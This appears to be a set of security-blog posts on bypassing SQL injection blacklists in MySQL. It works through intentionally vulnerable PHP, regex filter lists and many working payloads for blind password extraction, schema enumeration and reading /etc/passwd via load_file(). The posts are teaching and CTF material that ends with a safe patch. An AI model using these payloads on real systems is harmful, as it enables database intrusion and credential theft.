this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario. For this we consider the following intentionally vulnerable source code: 1 2 3 4 5 6 7 8 9 10 11 <?php // DB connection // $id = (int)$_GET['id']; $id = $_GET['id']; $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("E rror"); if($data = mysql_fetch_array($result)) $_SESSION['name'] = $data['name']; ?> (proper securing is shown on line 4 to avoid the same confusion as last time ;) ) The main difference to the previous source code is that the user/attacker will n ot see any output of the SQL query itself because the result is only used for in ternals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows Error but this behavior could a lso be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL que ry. Or think about INSERT queries where you mostly don t see any output of your in jection rather than a successful or not. Known conditional errors Now how do we exploit this? Timing! you might say, but thats not the topic for tod ay so I ll filter that out for you ;) 1 2 if(preg_match('/(benchmark|sleep)/i', $id)) exit('attack'); // no timing If you encounter keyword filtering it is more than likely that timing is forbidd en because of DoS possibilities. On the other hand using conditional errors is j ust faster and more accurate. The most common documented error for SQLi usage is a devision by zero. 1 ?id=if(1=1, CAST(1/0 AS char), 1) However this throws an error only on PostgreSQL and Oracle (and some old MSSQL D BMS) but not on MySQL. A known alternative to cause a conditional error under My

SQL is to use a subquery with more than one row in return: 1 ?id=if(1=1, (select table_name from information_schema.tables), 1) Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tab les will return more than one value and this will result in the following error: 1 Subquery returns more than 1 row Accordingly our vulnerable webapp will output Error and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to us e this technique. conditional errors with regex Until yesterday I did not knew of any other way to throw a conditional error und er MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or an y other table. A new way to trigger conditional errors under MySQL can be achiev ed by using regular expressions (regex). Regexes are often used to prevent SQL injections, just like in my bad filter exa mples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its s ynonym RLIKE. 1 SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}' The interesting part for a SQL Injection is that an error in the regular express ion will result in a MySQL error as well. Here are some examples: 1 2 SELECT 1 REGEXP '' Got error 'empty (sub)expression' from regexp 1 2 SELECT 1 REGEXP '(' Got error 'parentheses not balanced' from regexp 1 2 SELECT 1 REGEXP '[' Got error 'brackets ([ ]) not balanced' from regexp 1 2 SELECT 1 REGEXP '|' Got error 'empty (sub)expression' from regexp 1 2 SELECT 1 REGEXP '\\' Got error 'trailing backslash (\)' from regexp 1

2 SELECT 1 REGEXP '*', '?', '+', '{1' Got error 'repetition-operator operand invalid' from regexp 1 2 SELECT 1 REGEXP 'a{1,1,1}' Got error 'invalid repetition count(s)' from regexp This can be used to build conditional errors loading an incorrect regular expres sion depending on our statement. The following injection will check if the MySQL version is 5 or not: 1 ?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end) ) If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect er ror as above if we know a table name. Now consider a similar filter introduced i n my previous post: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file)/i', $id)) exit('attack'); // no file operation if(preg_match('/(benchmark|sleep)/i', $id)) exit('attack'); // no timing The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP d oes not need a SELECT to trigger a conditional error because we inject into a WH ERE statement and MySQL allows a comparison of three operands: 1 ?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1))

If the first char of the version is 5' then the regex ( will be compared to 1 and a n error occurs because of unbalanced parenthesis. Otherwise the regex 1' will be evaluated correctly and no error occurs. Again we have everything we need to ret rieve data from the database and to have fun with regex filter evasions by regex errors. More: Part 1, Part 3, SQLi filter evasion cheatsheet 6 Comments | SQLi, Web Security | Tagged: SQL filter bypass, SQL filter evasion, SQL obfuscation | Permalink Posted by Reiners Exploiting hard filtered SQL Injections March 19, 2010 While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with ve ry tough filters which can be circumvented based on the flexible MySQL syntax. I n this post I will show some example filters and how to exploit them which may a lso be interesting when exploiting real life SQL injections which seem unexploit able at first glance. For the following examples I ll use this basic vulnerable PHP script: 1 2 3 4 5 6 7 8 9 10 11 <?php // DB connection $id = $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); if($data = @mysql_fetch_array($result)) echo "Welcome ${data['name']}"; ?> Note: the webapplication displays only the name of the first row of the sql resu ltset. Warmup Lets warm up. As you can see the parameter id is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerabi lity: 1 ?id=1 and 1=0-- -

1 ?id=1 and 1=1-- You also might want to see all usernames by iterating through limit (x): 1 ?id=1 or 1=1 LIMIT x,1-- But usernames are mostly not as interesting as passwords and we assume that ther e is nothing interesting in each internal user area. So you would like to know what the table and column names are and you try the fo llowing: 1 ?id=1 and 1=0 union select null,table_name,null from information_schema.tables l imit 28,1-- 1 ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- After you have found interesting tables and its column names you can start to ex tract data. 1 ?id=1 and 1=0 union select null,password,null from users limit 1,1-- Ok thats enough for warming up. Whitespaces, quotes and slashes filtered Of course things aren t that easy most time. Now consider the following filter for some extra characters: 1 2 3 4 5 6 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes As you can see above our injections have a lot of spaces and some quotes. The fi rst idea would be to replace the spaces by /*comments*/ but slashes are filtered . Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using paren thesis to seperate SQL keywords (old but not seen very often). 1 ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tab les)limit 28,1-- -) Looks good, but still has some spaces at the end. So we also use group_concat()

because LIMIT requires a space and therefore can t be used anymore. Since all tabl e names in one string can be very long, we can use substr() or mid() to limit th e size of the returning string. As SQL comment we simply take # (not urlencoded fo r better readability). 1 ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null) from(information_schema.tables))# Instead of a quoted string we can use the SQL hex representation of the found ta ble name: 1 ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(informa tion_schema.columns)where(table_name)=(0x7573657273))# Nice. Basic keywords filtered Now consider the filter additionally checks for the keywords and , 1 2 3 4 5 6 7 8 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords For some keywords this is still not a big problem. Something most of you would d o from the beginning anyway is to confirm the SQLi with the following injections leading to the same result: 1 ?id=1# 1 ?id=2-1# To negotiate the previous resultset you can also use a non-existent id like 0. I nstead of the place holder null we can select anything else of course because it i s only a place holder for the correct column amount. So without the WHERE we hav e: 1 ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.table s))# 1 ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.colu null , where and

limi

mns))# This should give us all table and column names. But the output string from group _concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() i s limited to 1024 by default. While the length may fit for all table names (tota l system table names length is about 900), it definitely does not fit for all av ailable column names because all system column names concatenated already take m ore than 6000 chars. WHERE alternative The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn t work because ORDER BY needs a space. Another keyword we hav e left is HAVING. First we have a look which databases are available: 1 ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.sche mata))# This will definitely fit into 1024 chars, but you can also use database() to get the current database name: 1 ?id=(0)union(select(0),database(),(0))# Lets assume your database name is test which hex representation is 074657374?. Then we can use HAVING to get all table names associated with the database test without using WHERE: 1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)h aving((table_schema)like(0x74657374)))# Note that you have to select the column table_schema in one of the place holders t o use this column in HAVING. Since we assume that the webapp is designed to retu rn only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found tabl e name from the result: 1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)h aving((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names: 1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)h aving((table_name)like(0x7573657273)))# 1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)h aving((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Unfortunately you can t use group_concat() while using HAVING hence the excluding step by step.

intermediate result What do we need for our injections so far? keywords: union , select , from , having characters: (),._# (& or and ) String comparing characters like = and != can be avoided by using the keywords like d rlike or the function strcmp() together with the keyword not : 1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)h aving((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# advanced keyword filtering Now its getting difficult. The filter also checks for all keywords previously ne eded: 1 2 3 4 5 6 7 8 9 10 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords if(preg_match('/(union|select|from|having)/i', $id)) exit('attack'); // no sqli keywords What option do we have left? If we have the FILE privilege we can use load_file() (btw you can t use into outfi le without quotes and spaces). But we can t output the result of load_file() becau se we can not use union select so we need another way to read the string returne d by the load_file(). First we want to check if the file can be read. load_file() returns null if the fi le could not be read, but since the keyword null is filtered we cant compare to nul l or use functions like isnull(). A simple solution is to use coalesce() which re turns the first not-null value in the list: 1 ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) This will return the length of the file content or if the file could not be read a 1? and therefore the success can be seen by the userdata selected in the origi nal query. Now we can use the CASE operator to read the file content blindly cha r by char: 1 ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0 )end)

an

(while $char is the character in sql hex which is compared to the current charac ter of the file at offset $x) We bypassed the filter but it requires the FILE privilege. filtering everything Ok now we expand the filter again and it will check for file operations too (or just assume you don t have the FILE privilege). We also filter SQL comments. So le ts assume the following (rearranged) filter: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments The SQL injection is still there but it may look unexploitable. Take a breath an d have a look at the filter. Do we have anything left? We cant use procedure analyse() because it needs a space and we cant use the 1'% 0' trick. Basically we only have special characters left, but that is often all we need. We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is tha t we can only access columns that are already selected and that we do have to kn ow their names. In our login example they shouldn t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}. So how do we access them blindly? A usual blind SQLi would look like the followi ng:

1 ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) This will return 1 to the id if the first char of the password is a . Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because w e dont need to access a different table. Now the trick is to express this filter ed CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is a : 1 ?id=1&&mid(pass,1,1)=(0x61);%00 We use a nullbyte instead of a filtered comment to ignore the check for the righ t password in the original sql query. Make sure you prepend a semicolon. Nice, w e can now iterate through the password chars and extract them one by one by comp aring them to its hex representation. If it matches, it will show the username f or id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all i ds: 1 ?id=2&&mid(pass,1,1)=(0x61);%00 1 ?id=3&&mid(pass,1,1)=(0x61);%00 Of course this takes some time and mostly you are only interested in one specifi c password, for example of the user admin but you dont know his id. Basically we w ant something like: 1 ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 The first attempt could be: 1 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 That does not work because the OR 1=1? at the beginning is stronger than the AND s s o that we will always see the name of the first entry in the table (it gets more clearly wenn you write the OR 1=1? at the end of the injection). So what we do i s we compare the column id to the column id itself to make our check for the nam e and password independent of all id s: 1 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 If the character of the password is guessed correctly we will see Hello admin othe rwise there is displayed nothing. With this we have successfully bypassed the to ugh filter. filtering everything and even more What else can we filter to make it more challenging? Sure, some characters like = , | and & . 1 2 3

4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments if(preg_match('/(=|&|\|)/', $id)) exit('attack'); // no boolean operators Lets see. The character = shouldn t be problematic as already mentioned above, we si mply use like or regexp etc.: 1 ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 The character | isn t even needed. But what about the & ? Can we check for the name= admi n and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lo t shorter and ideal for SQL obfuscation / filter evasion. The first attempt is t o jump to the id which correspondents to the name = admin : 1 ?id=if((name)like(0x61646D696E),1,0);%00 This will return 1, if the username is admin and 0 otherwise. Now that we actual ly want to work with the admin s id we return his id instead of 1: 1 ?id=if((name)like(0x61646D696E),id,0);%00 Now the tricky part is to not use AND or && but to also check for the password c hars. So what we do is we nest the if clauses. Here is the commented injection:

1 2 3 4 5 6 7 8 9 ?id= if( // if (it gets true if the name='admin') if((name)like(0x61646D696E),1,0), // then (if first password char='a' return admin id, else 0) if(mid((password),1,1)like(0x61),id,0), // else (return 0) 0 );%00 Injection in one line: 1 ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0 );%00 Again you will see Hello admin if the password character was guessed correctly and otherwise you ll see nothing (id=0). Sweet! Conclusion (My)SQL isn t as flexible as Javascript, thats for sure. The main difference is th at you can t obfuscate keywords because there is nothing like eval() (as long as y ou don t inject into stored procedures). But as shown in this article there isn t mu ch more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniqu es also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time. If you have any other clever ways for bypassing the filters described above plea se leave a comment. What about additionally filtering if too ? Edit: Because there has been some confusion: you should NOT use the last filter for se curing your webapp. This post shows why it is bad to rely on a blacklist. To sec ure your webapp properly, typecast expected integer values and escape expected s trings with mysql_real_escape_string(), but don t forget to embed the result in qu otes in your SQL query. Here is a safe patch for the example: 1 2 3 $id = (int) $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); For more details have a look at the comments.

More: Part2, Part 3, SQLi filter evasion cheatsheet 57 Comments | SQLi, Web Security | Tagged: SQL filter bypass, SQL filter evasion, SQL obfuscation | Permalink Posted by Reiners MySQL table and column names (update 2) November 26, 2009 Yesterday Paic posted a new comment about another idea for retrieving column nam es under MySQL. He found a clever way to get column names through MySQL error me ssages based on a trick I posted on my first article about MySQL table and colum n names. Here I used the modular operation 1'% 0' in an injection after a WHERE cla use, to provoke a MySQL error containing the column name used in the WHERE claus e. But for now I couldnt expand this to other columns not used in the WHERE clau se. Paic found a cool way with row subqueries . He explains the scenario pretty wel l, so I will just quote his comment: I ve recently found an interesting way of retrieving more column s name when inf ormation_schema table is not accessible. It assume you ve already found some table s name. It is using the 1%0 trick and MySQL subqueries. I was playing around with sql subqueries when I ve found something very intere sting: Row Subqueries You d better read this in order to understand what s next: http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html The hint is The row constructor and the row returned by the subquery must con tain the same number of values. Ok, imagine you have the table USER_TABLE. You don t have any other informatio ns than the table s name. The sql query is expecting only one row as result. Here is our input: AND (SELECT * FROM USER_TABLE) = (1) MySQL answer: Operand should contain 7 column(s) MySQL told us that the table USER_TABLE has 7 columns! That s great! Now we can use the UNION and 1%0 to retrieve some column s name: The following query shouldn t give you any error: AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 L IMIT 1) Now let s try with the first colum, simply add %0 to the first column in the U NION: AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1) MySQL answer: Column usr_u_id cannot be null

We ve got the first column name:

usr_u_id

Then we proceed with the other columns Example with the 4th column: AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1) if MySQL doesn t reply with an error message, this is just because the column can be empty and you won t be able to get it s name! So remember: this does only work if the column types have the parameter NOT NULL a nd if you know the table name. Additionally, this behavior has been fixed in MyS QL 5.1. Obviously it was a bug because the error message should only appear if you try t o insert nothing in a column marked with NOT NULL instead of selecting. Btw other ma thematical operations like 1/0? or just null does not work, at least I couldn t find any other. For 1'% 0' you can also use mod( 1', 0'). Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice :) update: you can find some more information here. More: update1 4 Comments | SQLi, Web Security es | Permalink Posted by Reiners MySQL table and column names (update) January 26, 2009 | Tagged: column names, mysql, table nam

While reading at sla.ckers.org about some ways to get a SQL injection working if your injection point is behind a group by and a limit clause, Pragmatk came up with the PROCEDURE ANALYSE operation (available on MySQL 3/4/5) I didnt knew of yet. Although it didnt quite solve the actual problem, because it seems that you can t build some dynamic parameters for the ANALYSE function so that you could build blind SQLi vectors, it does give you information about the used database, table and column names of the query you are injecting to. So this is another way of finding table and column names on MySQL without using the information_schema tables or load_file(). Unfortunetly you will only get the names of the columns and tables in use, but at least it will make guessing easi er or maybe some columns are selected but not displayed by the webapp so that yo u can union select them on a different position where they do get displayed. Here is an example: Lets assume a basic SQL query you will encounter quite often : SELECT id, name, pass FROM users WHERE id = x while x is our injection point. Now you can use x = 1 PROCEDURE ANALYSE() to get all column names, including the database and table name currently selecte d. You will see something like this: test.users.id

test.users.name test.users.pass Depending on the webapp you will need to use LIMIT to enumerate the result of PR OCEDURE ANALYSE() line by line which contains the names in the first column of e ach row: x = 1 PROCEDURE ANALYSE() #get first column name x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name With that said it is neccessary that the webapp will display the first selected column, because PROCEDURE ANALYSE will reformat the whole result with its inform ation about the columns which is normally used to identify the best datatype for this column. Interesting operation, I wonder if there are any other I dont know of yet which can be useful in the right circumstances.

Das könnte Ihnen auch gefallen